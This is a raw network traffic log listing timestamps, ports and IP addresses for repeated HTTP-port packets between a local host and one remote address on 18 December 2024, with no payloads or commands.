Dec 18, 2024 11:09:47.241739988 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.241784096 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.242530107 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.242578030 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.242954969 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.242999077 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.243596077 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.243639946 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.243702888 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.243740082 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.244630098 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.244676113 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.245024920 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.245073080 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.245687008 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.245744944 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.245887041 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.245939970 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.246762037 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.246809006 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.246834993 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.246870995 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.247719049 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.247764111 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.248102903 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.248151064 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.248845100 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.248855114 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.248891115 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.249943018 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.249989033 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.250289917 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.250333071 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.250626087 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.250668049 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.250811100 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.250854015 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.251740932 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.251785040 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.251857042 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.251894951 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.252697945 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.252739906 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.390373945 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.390501022 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.390692949 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.390803099 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.390873909 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.390887022 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.390914917 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.390932083 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.391884089 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.391933918 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.391956091 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.391995907 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.392911911 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.392960072 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.393033981 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.393074036 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.394001007 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.394046068 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.394138098 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.394179106 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.394999027 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.395045996 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.395459890 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.395503998 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.396023035 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.396068096 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.396361113 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.396404982 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.397058964 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.397104979 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.397538900 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.397584915 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.398085117 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.398132086 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.398505926 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.398560047 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.399091005 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.399147034 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.399276972 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.399318933 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.400149107 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.400193930 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.400365114 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.400474072 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.401165962 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.401211023 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.401235104 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.401274920 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.402256966 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.402306080 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.402367115 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.402406931 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.403280973 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.403331041 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.403333902 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.403371096 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.404252052 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.404299974 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.404381037 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.404422998 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.405410051 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.405457020 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.405536890 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.405580044 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.406322002 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.406366110 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.406420946 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.406460047 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.407380104 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.407428980 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.407546043 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.407587051 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.408468008 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.408513069 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.408584118 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.408622980 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.409466028 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.409507990 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.409523010 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.409562111 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.410448074 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.410490036 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.410554886 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.410595894 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.411515951 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.411559105 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.411590099 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.411628962 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.412524939 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.412569046 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.412615061 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.412655115 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.413537025 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.413578987 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.413614988 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.413654089 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.414607048 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.414650917 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.414699078 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.414737940 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.415652990 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.415699959 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.415750980 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.415791035 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.416631937 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.416672945 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.416852951 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.416892052 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.417694092 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.417742014 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.417896986 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.417934895 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.418701887 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.418744087 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.418864965 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.418905020 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.419725895 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.419768095 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.420095921 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.420137882 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.420768976 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.420814037 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.420877934 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.420919895 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.421823025 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.421865940 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.421914101 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.421952009 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.422869921 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.423021078 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.423067093 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.423897982 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.424138069 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.424184084 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.424880028 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.424922943 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.424957991 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.425206900 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.425941944 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.425986052 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.426002979 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.426040888 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.426995993 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.427170038 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.427191973 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.427217960 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.428127050 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.428174019 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.428205967 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.428250074 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.429089069 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.429135084 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.429171085 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.429214001 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.430033922 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.430082083 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.430114985 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.430160999 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.431077957 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.431124926 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.431209087 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.431298018 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.432079077 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.432121992 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.432159901 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.432198048 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.433106899 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.433156013 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.433193922 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.433235884 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.434186935 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.434236050 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.434377909 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.434427977 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.435203075 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.435250044 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.435281038 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.435326099 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.436189890 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.436237097 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.436283112 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.436327934 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.437232971 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.437279940 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.437309980 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.437352896 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.438297987 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.438345909 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.438389063 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.438430071 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.439347982 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.439393044 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.439718008 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.439757109 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.440345049 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.440390110 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.440447092 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.440495014 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.441060066 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.441103935 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.441246986 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.441292048 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.442183971 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.442228079 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.442284107 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.442327023 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.443151951 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.443197966 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.443288088 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.443331957 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.444192886 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.444238901 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.581805944 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.581861973 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.581926107 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.581978083 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.582030058 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.582108021 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.582169056 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.583040953 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.583513021 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.583575010 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.583623886 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.584054947 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.584104061 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.584161043 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.584208012 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.585059881 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.585110903 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.585264921 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.585314989 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.586141109 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.586191893 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.586297989 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.586375952 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.587219954 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.587256908 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.587308884 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.588169098 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.588892937 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.588942051 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.589221001 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.589401960 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.589447021 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.590250015 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.590293884 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.590672016 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.590734959 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.591228008 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.591335058 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.591976881 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.592021942 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.592288017 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.592333078 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.592721939 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.592767000 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.593476057 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.593815088 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.593874931 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.594695091 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.594796896 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.594850063 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.595735073 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.595838070 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.595870018 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.595926046 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.596379995 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.596504927 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.596565008 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.596695900 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.597604990 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.597665071 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.597773075 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.598011017 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.598592043 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.598665953 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.598725080 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.599504948 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.599559069 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.599610090 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.600514889 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.600703955 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.600761890 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.601542950 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.601597071 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.601658106 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.601713896 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.602813005 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.602868080 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.602879047 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.602927923 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.604202986 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.604257107 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.604309082 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.605156898 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.605211973 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.605211973 CET	80	49966	31.41.244.11	192.168.2.6
